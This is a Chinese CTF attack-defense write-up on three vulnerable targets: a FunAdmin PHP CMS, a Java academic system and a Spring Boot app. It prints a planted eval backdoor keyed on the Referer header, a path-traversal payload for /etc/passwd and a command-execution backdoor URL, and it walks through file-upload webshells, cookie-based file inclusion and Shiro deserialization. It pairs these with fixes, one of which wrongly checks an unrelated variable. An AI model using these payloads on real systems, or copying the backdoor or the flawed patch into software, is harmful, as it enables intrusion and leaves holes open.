前言

2024年4月经过初赛选拔,成功进入到线下半决赛,在西安邮电大学承办,设备使用的是某盟的网络安全方针平台。
真的被虐爆了,开局统一 ssh 密码(强密码),让我们误以为是随机生成的密码,没想到全场都是这个密码,开局基本上全场都被某只队伍跑脚本修改密码了。

所以 awd 比赛上来第一件事就是修改靶机的密码。。。

靶机1: funadmin

靶机简介

该靶机是由 funadmin CMS 搭建,采用 PHP + mysql 的架构,所以说就是 PHP 的网站喽。

漏洞一 后门代码

第一步就是先备份网站源码,然后将源码脱下来 (这里推荐使用 xshell + xftp一体化工具),然后放入到 D盾 webshell 扫描工具中扫描:

alt text

发现存在已知后门,位于: app/api/controller/v1/Token.php 后门如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
namespace app\api\controller\v1;

use fun\auth\Api;
use think\App;
use think\facade\Request;
use think\facade\Config;

/**
* 生成token
*/
class Token extends Api
{
protected $noAuth = ['*'];

public function __construct(App $app)
{
parent::__construct($app);
//跨域
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Headers:Accept,Referer,Host,Keep-Alive,User-Agent,X-Requested-With,Cache-Control,Content-Type,Cookie,token');
header('Access-Control-Allow-Credentials:true');
header('Access-Control-Allow-Methods:GET, POST, PATCH, PUT, DELETE,OPTIONS');

}

public function build(Request $request)
{
$class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token');
$token = $class::instance();
$token->build();

}
public function refresh(Request $request)
{
$class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token');
$token = $class::instance();
$token->refresh();

}
// 后门方法
public function test(){
@eval(getallheaders()['Referer']);
}
}

发现该控制器下存在 test 方法,利用 HTTP 请求头的 Referer 字段的值即可实现任意代码执行。

alt text

alt text

查看官方文档才发现是后端的API控制器,查看调用方法:

发现直接访问 api/v1.token/test 即可调用 api/controller/v1/Token.php 中的 test 方法。

alt text

最后直接执行命令读取 FLAG 即可(由于当时不太懂 thinkphp 框架,所以当时知道这个但不会利用,只是对危险函数 test() 进行了注释)。

漏洞二 文件上传漏洞

在前台发现登陆功能,可以进行注册,注册账号之后登陆到后台,测试头像的上传处:

alt text

直接上传提示 php 文件提示包含不支持的格式,使用 burp 抓包发现并没有抓到,猜测可能是前端进行校验。

alt text

这里如果上传的文件访问404的话,可以直接访问上传目录,是存在目录浏览的

alt text

漏洞三 任意文件读取

在前台页面的 app/frontend/controller/Ajax 控制器中发现了 getfile()函数,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* @return \think\response\Json
* 获取文件
*/
public function getfile($file)
{
$file = root_path().'public/storage/uploads/'.$file;
// 检查文件是否存在
if (!file_exists($file)) {
$result = ['code' => 0, 'msg' => lang('file not exists!')];
return json($result);
}

// 获取文件名
$fileName = basename($file);

// 设置HTTP响应头
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $fileName);
header('Content-Length: ' . filesize($file));

// 读取文件并输出给用户
readfile($file);

// 终止脚本继续执行
exit;
}
?>

PAYLOAD如下:

1
frontend/ajax/getfile?file=../../../../../.../etc/passwd

漏洞四 后台RCE

使用泄露的用户名和密码 admin 123456 登录到后台,发现插件安装功能,我们这里写入一个 php 文件,并压缩为 zip 压缩包进行上传。

alt text

alt text

这里提示插件不正确,我们来到具体方法中:

alt text

发现这里将插件解压到了 addons 目录,我们来到该目录,查看虽然提示插件名称不正确,但是 x1ong.php 成功被上传:

alt text

但是由于我们的网站根目录在 public 目录下,而该文件被上传到了 addons,我们还需要通过文件包含或目录穿越漏洞进行利用。

这里在 /app/backend/controller/Ajax.php 中发现一个 lang 方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* @return \think\response\Jsonp
* 自动加载语言函数
*/
public function lang()
{
header('Content-Type: application/javascript');
$name = $this->request->get("controllername");
$name = strtolower(parse_name($name, 1));
$app = $this->request->get("app");
return jsonp($this->loadlang($name, $app))->code(200)->options([
'var_jsonp_handler' => 'callback',
'default_jsonp_handler' => 'jsonpReturn',
'json_encode_param' => JSON_PRETTY_PRINT | JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE,
])->allowCache(true)->expires(7200);
}

发现里面调用了 loadlang 方法,我们来到该方法中:

alt text

进入到 /config/lang.php ,发现这里是全局变量,通过 loadlang 方法的个跟踪,发现将变量 lang 拼接到了路径当中,而 lang 的值我们可控,故而可以进行目录穿越,进行文件包含,由于这里拼接了 .php 所以我们这里只需要跟文件名就可。

alt text

由于是全局配置的 Cookie,前台和后台页面,都调用了loadlang 方法故而这里直接在首页包含即可:

alt text

修复方案

漏洞一

app/api/controller/v1/Token.php 中的 test 方法进行注释即可。

1
2
3
// public function test(){
// @eval(getallheaders()['Referer']);
// }

漏洞二

这里跟进代码发现文件上传白名单 phtml 在数据库 fun_config 中进行配置,而进行文件上传的时候,会从数据库中查询白名单的文件后缀。

alt text

alt text

由于是 phtml 文件不在图片类型 以及 不是图片后缀,故而不会走 if 里面,直接返回 true,通过 checkFile()

alt text

来到数据当中,进行查看:

alt text

因此这里直接使用 update 语句将 phtml 去掉即可:

1
update fun_config set value="mp4,mp3,png,gif,jpg,jpeg,webp,rar,zip,csv,xls,xlsx" where value="mp4,mp3,png,gif,jpg,jpeg,webp,rar,zip,phtml,csv,xls,xlsx";

删除之后还是不行,依旧可以上传,在网站根目录下查询文件包含 phtml 的将缓存文件删除即可,再次上传:

alt text

当然这里除了可以直接修改数据库以外,我们在目录结构发现了 backend ,猜测是后台地址。

alt text

同时在首页源代码处发现了泄露的用户名: admin 密码: 123456

alt text

直接登录到后台修改也可以:

alt text

漏洞三

在修复 awd 题目时,本着尽量不删除方法的原则,我们做出如下修复方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* @return \think\response\Json
* 获取文件
*/
public function getfile($file)
{
$file = root_path().'public/storage/uploads/'.$file;

if (preg_match("/\.\.\//", $lang)) {
exit("Error!");
}

// 检查文件是否存在
if (!file_exists($file)) {
$result = ['code' => 0, 'msg' => lang('file not exists!')];
return json($result);
}

// 获取文件名
$fileName = basename($file);

// 设置HTTP响应头
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $fileName);
header('Content-Length: ' . filesize($file));

// 读取文件并输出给用户
readfile($file);

// 终止脚本继续执行
exit;
}

漏洞四

对 Cookie 中的 think_lang 的值进行校验,不允许存在 ../ 即可。

由于前台和后台控制器中都调用了该方法,并且该方法写在了两个不同文件,故而两个文件都要进行修改:

后台的调用的 loadlang 方法在 app/common/controller/Backend.php 中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function loadlang($name,$app)
{
$lang = cookie(config('lang.cookie_var'));
# 漏洞修复代码
if (preg_match("/\.\.\//", $lang)) {
exit("Error!");
}
if($app && $app!=='backend'){
$res = Lang::load([
$this->app->getBasePath() .'backend'. DS . 'lang' . DS . $lang . '.php',
$this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . '.php',
$this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php',
]);
}else{
$res = Lang::load([
$this->app->getAppPath() . 'lang' . DS . $lang . '.php',
$this->app->getAppPath() . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php',
]);
}
return $res;

}

前台的调用的 loadlang 方法在 app/common/controller/Frontend.php 中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected function loadlang($name,$app)
{
$lang = cookie(config('lang.cookie_var'));
// 漏洞修复代码
if (preg_match("/\.\.\//", $lang)) {
exit("Error!");
}
if($app){
$res = Lang::load([
$this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php',
$this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . '.php'
]);
}else{
$res = Lang::load([
$this->app->getAppPath() . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php',
$this->app->getAppPath() . 'lang' . DS . $lang . '.php'
]);
}
return $res;
}

靶机2: 教务系统

靶机简介

该靶机是由 java 开发的教务系统,可能是某个毕业生的毕业设计,功能网页如下:

alt text

网站架构是由 tomcat 中间件所搭建,因此可以直接解析 jsp 文件。系统功能包含注册和登陆功能。

漏洞一 后门文件

第一步备份网站源码,进入靶机使用 ps -ef |grep tomcat 查看 tomcat 运行目录:

alt text

进入到 /opt/apache-tomcat-8.5.99/webapps/ROOT/ 备份网站源码,查看源码发现 forget.jsp 文件存在后门:

alt text

alt text

修复方法则是将代码进行注释即可。

漏洞二 文件上传漏洞

实际比赛的时候,是可以通过注册用户进行登陆的,但是我这边部署时,发现提示验证码错误…,就没管了。

这里的管理员用户名是 admin,密码是 admin1,直接登录即可。

进入到后台,发现可以上传头像:

alt text

这里直接上传 jsp 发现上传成功。

alt text

来到服务器,发现上传到了 userImg 目录下,直接访问利用:

alt text

alt text

使用 idea 打开 webapps/ROOT 目录下的源码: teacher/personal.jsp

alt text

发现提交给了 upload_teacherImg 接口,接着来看: WEB-INF/classes/servlet/upload_studentImg.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import com.jspsmart.upload.File;
import com.jspsmart.upload.Request;
import com.jspsmart.upload.SmartUpload;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet({"/upload_teacherImg"})
public class upload_teacherImg extends HttpServlet {
public upload_teacherImg() {
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html;charset=utf-8");
response.setCharacterEncoding("utf-8");
request.setCharacterEncoding("utf-8");
PrintWriter out = response.getWriter();
SmartUpload smartUpload = new SmartUpload();
Request rq = smartUpload.getRequest();
ServletConfig config = this.getServletConfig();
smartUpload.initialize(config, request, response);

try {
smartUpload.upload();
String id = rq.getParameter("id");
File smartFile = smartUpload.getFiles().getFile(0);
smartFile.saveAs("/userImg/" + smartFile.getFileName().toString());
out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>");
} catch (Exception var9) {
out.print(var9);
}

}
}

同时 upload_studentImg.clss 文件与其同理,只不过一个是学生一个是教室的上传功能。

alt text

并且经过测试发现,这里还是个未授权的文件上传接口。

漏洞三 mysql 文件读取(未验证)

当时没有注意 mysql 端口是否开放,我们可以通过查看系统的配置文件,获取系统的 mysql账号和密码:

alt text

可以尝试登陆到 mysql 使用 load_file 读取 FLAG 内容。

修复方案

漏洞一:

为了不影响业务,将存在问题的代码进行删除即可。

漏洞三:

该漏洞没有在比赛的时候进行验证,只是想法,加固方法就是为修改 mysql 的密码即可。并同时修改 java 项目 jdbc 指定的密码为新的密码即可。

靶机3: DocToolkit

靶机简介

该系统由 springboot 搭建,故而 .jsp 后缀文件无法解析,所以不考虑 jsp 后门。

漏洞一 shiro 反序列化

由于程序是一个 jar 包我们需要使用 jadx-gui 工具对 jar 包进行反编译:

alt text

当然也可以使用 idea 进行打开:

alt text

alt text

来到其配置文件 pom.xml 发现存在 shiro 依赖,并且版本为 13.0,在 Shiro 1.4.2 版本之后 Shiro 的加密模式由 AES-CBC 更换为 AES-GCM

alt text

并且在 lib 中也存在 shiro 相关 jar包。

alt text

那么我们尝试进行利用,首先进行检测,发现确实存在 shiro 框架

alt text

由于这里的版本是 13.0 故而需要勾选 AES GCM

我们继续进行暴破密钥:

alt text

这里可以看到不是默认的key,暴破有些困难,直接查看 shiro 配置文件中的 key 即可:

alt text

alt text

确保 key 正确之后,寻找利用链:

alt text

接着执行命令即可:

alt text

漏洞二 后门文件

使用 idea 打开 jar 包,查看控制器 TestController 存在后门文件,可任意命令执行。

alt text

PAYLOAD:

1
test/backd0or?cmd=whoami

alt text

修复方案

漏洞一

由于将项目直接封装了 jar 文件,故而需要重新进行打包。

alt text

这里 Alphabug 给了两种方案,第一种是使用工具在内存中直接替换掉,但是可能导致业务挂掉,第二种则是重新打包部署。

首先来说第一种,直接使用 shiro 利用工具进行替换:

alt text

这边我试了这个工具,没有办法直接替换,只是单纯的 key 生成,暂时没有热补丁的方法。

这里分享一下 Alphabug 的冷补丁文章:

https://mp.weixin.qq.com/s/hKXYudjEj2Z7nIC1k6NoWQ

漏洞二

由于是 jar 包封装的,故而需要进行代码修复并重新打包进行部署,这里不再演示。